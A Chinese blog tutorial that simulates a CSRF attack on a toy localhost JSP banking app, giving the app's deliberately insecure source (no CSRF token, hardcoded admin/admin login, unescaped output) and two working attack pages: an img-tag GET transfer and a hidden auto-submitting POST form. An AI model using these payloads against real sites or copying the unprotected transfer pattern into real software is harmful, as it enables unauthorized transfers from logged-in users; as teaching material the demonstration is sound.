模拟简单的转账遭到CSRF攻击的示例
2018-03-09 11:24
531 查看
1简介
1.1什么是CSRF
原理图:CSRF(Cross SiteRequest Forgery),中文是跨站点请求伪造。CSRF攻击者在用户已经登录目标网站之后,诱使用户访问一个攻击页面,利用目标网站对用户的信任,以用户身份在攻击页面对目标网站发起伪造用户操作的请求,达到攻击目的。
1.2模拟转账时遭到CSRF攻击
1.2.1正常转账流程
首先在主页http://localhost:8080/testXSS/login.jsp输入账号密码,点击登录进入成功界面后,进行转账操作
点击转账,成功后如下:
如果是其他人在其他地方直接输入登录成功后的界面
http://localhost:8080/testXSS/login_success.jsp或者 输入转账的API
http://localhost:8080/testXSS/transfer.jsp?from=infi&account=10000&to=hacker&submit=%E8%BD%AC%E8%B4%A6,则session不匹配,会跳转到登录界面:
1.2.2CSRF攻击
黑客自己建一个hack.jsp文件,里面包含这样一行代码<img src="http://localhost:8080/testXSS/transfer.jsp?from=infi&account=10000&to=hacker&submit=%E8%BD%AC%E8%B4%A6">
然后将hack.jsp的链接 http://localhost:8080/testXSS/hacker.jsp发给受害人。
受害人点击链接后,出现的界面如下:
但是此时已经进行了一个将受害人的钱转给黑客的操作了,从服务端可以看出
如果黑客在自己电脑上做这个 操作,会因为session不匹配而无法进行转账
下面是代码:
login.jsp
<%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> <title>阿飞银行</title> </head> <body> <div> <form action="dologin.jsp" method="post"> <span>用户名</span> <input type="text" name="username" /> <span>密码</span> <input type="text" name="password" /> <input type="submit" value="登录"/> </form> </div> </body> </html>
dologin.jsp
<%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%> <% String path=request.getContextPath(); String basePath=request.getScheme()+"://"+request.getServerName() +":"+request.getServerPort()+path+"/"; String username=""; String password=""; request.setCharacterEncoding("utf-8"); username=request.getParameter("username"); password=request.getParameter("password"); out.println(username); out.println(password); if("admin".equals(username) && "admin".equals(password)){ session.setAttribute("loginUser",username); response.sendRedirect("login_success.jsp"); }else{ response.sendRedirect("login_failure.jsp"); } %>
login_success.jsp
<%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%> <% String path=request.getContextPath(); String basePath=request.getScheme()+"://"+request.getServerName() +":"+request.getServerPort()+path+"/"; String username=(String)session.getAttribute("loginUser"); request.setCharacterEncoding("utf-8"); out.println(username); if( username != null){ // session.invalidate(); }else{ response.sendRedirect("login.jsp"); } %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> <title>阿飞银行</title> </head> <body> <div> 欢迎<h3><%=session.getAttribute("loginUser") %></h3>,登录成功!!!! </div> </br></br> <form action="transfer.jsp" method="get"> 转账人: <input type="text" id="from" name="from"></br> 转账金额: <input type="text" id="account" name="account"></br> 收账人: <input type="text" id="to" name="to"></br></br> <input type="submit" id="submit" name="submit" value="转账"> </form> </body> </html>
login_failure.jsp
<%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> <title>阿飞银行</title> </head> <body> <div> 登录失败,请检查用户名或者密码!!! <a href="login.jsp">login</a> </div> </body> </html>
transfer.jsp
<%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> <title>阿飞银行</title> </head> <body> <div> 欢迎<h3><%=session.getAttribute("loginUser") %> </div> </br></br> <% String username=(String)session.getAttribute("loginUser"); request.setCharacterEncoding("utf-8"); if( username == null){ response.sendRedirect("login.jsp"); return; } String from=""; String account=""; String to=""; request.setCharacterEncoding("utf-8"); from=request.getParameter("from"); account=request.getParameter("account"); to= request.getParameter("to"); %> <%=from%> 向 <%=to%> 转账了 <%=account%> 块钱 <% System.out.println(from + " 向 " + to + " 转账了 " + account + " 块钱"); %> </body> </html>
hacker.jsp
<%@ page language="java" import="java.util.*" pageEncoding="utf-8"%> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <base href="<%=basePath%>"> <title>一个很好很好的网站</title> <meta http-equiv="pragma" content="no-cache"> <meta http-equiv="cache-control" content="no-cache"> <meta http-equiv="expires" content="0"> <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"> <meta http-equiv="description" content="This is my page"> </head> <body> <img src="http://localhost:8080/testXSS/transfer.jsp?from=infi&account=10000&to=hacker&submit=%E8%BD%AC%E8%B4%A6"> </body> </html>
如果转账操作都是POST请求的话,那么就不能使用上面的方法进行CSRF攻击了。这时黑客可以做一个界面,隐藏表单,请求方式为POST,加载时自动提交表单。
将login_success.jsp里的提交方式由get改成post,然后在transfer.jsp里加上一句
if(request.getMethod().equals("GET")){
return;
}这样就只处理POST请求了,这时候黑客构造另一个网页
hacker_post.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>攻击者主机页面</title>
<script type="text/javascript">
window.onload= function(){
document.getElementById("ok").click();
}
/*
function gy(){
document.getElementById('ok').onclick= function(e) {
};
}
gy();*/
</script>
</head>
<body>
<form style="display: none;" id="csrf" action="http://localhost:8080/testXSS/transfer.jsp" method="post" >
<input type="text" name="from" value="infi">
<input type="text" name="account" value="10000">
<input type="text" name="to" value="hacker">
<input type="submit" id="ok" name="submit" value="%E8%BD%AC%E8%B4%A6" >
</form>
</body>
</html>
然后将hacker_post.html的链接 http://localhost:8080/testXSS/hacker_post.html 发给受害人,其他操作同上
相关文章推荐
- Jimoshi_整合三大框架(一)--创建整合maven项目(SSH项目)、简单的测试示例(登录)、加载数据库模拟数据
- OpenGL 模拟机械手臂简单示例
- Flask模拟实现CSRF攻击的方法
- CSRF攻击介绍、模拟、防范
- WPF示例: 简单模拟Windows资源管理器
- Java模拟登录WEB系统的简单示例
- CSRF攻击:简单服务器防御
- PHP开发中csrf攻击的简单演示和防范
- OpenSSL Heartbleed "心脏滴血"漏洞简单攻击示例
- 用jQuery模拟select下拉框的简单示例代码
- python操作MySQL 模拟简单银行转账操作
- 用jQuery模拟select下拉框的简单示例代码
- 模拟键盘攻击:BadUsb 简单教学
- python 简单模拟银行转账功能
- python采用requests库模拟登录和抓取数据的简单示例
- 模拟银行账户转账系统(简单模拟)
- ns-2与TCP拥塞模拟 之一 一个简单的示例说明基本要素
- 模拟鼠标点击按钮的简单示例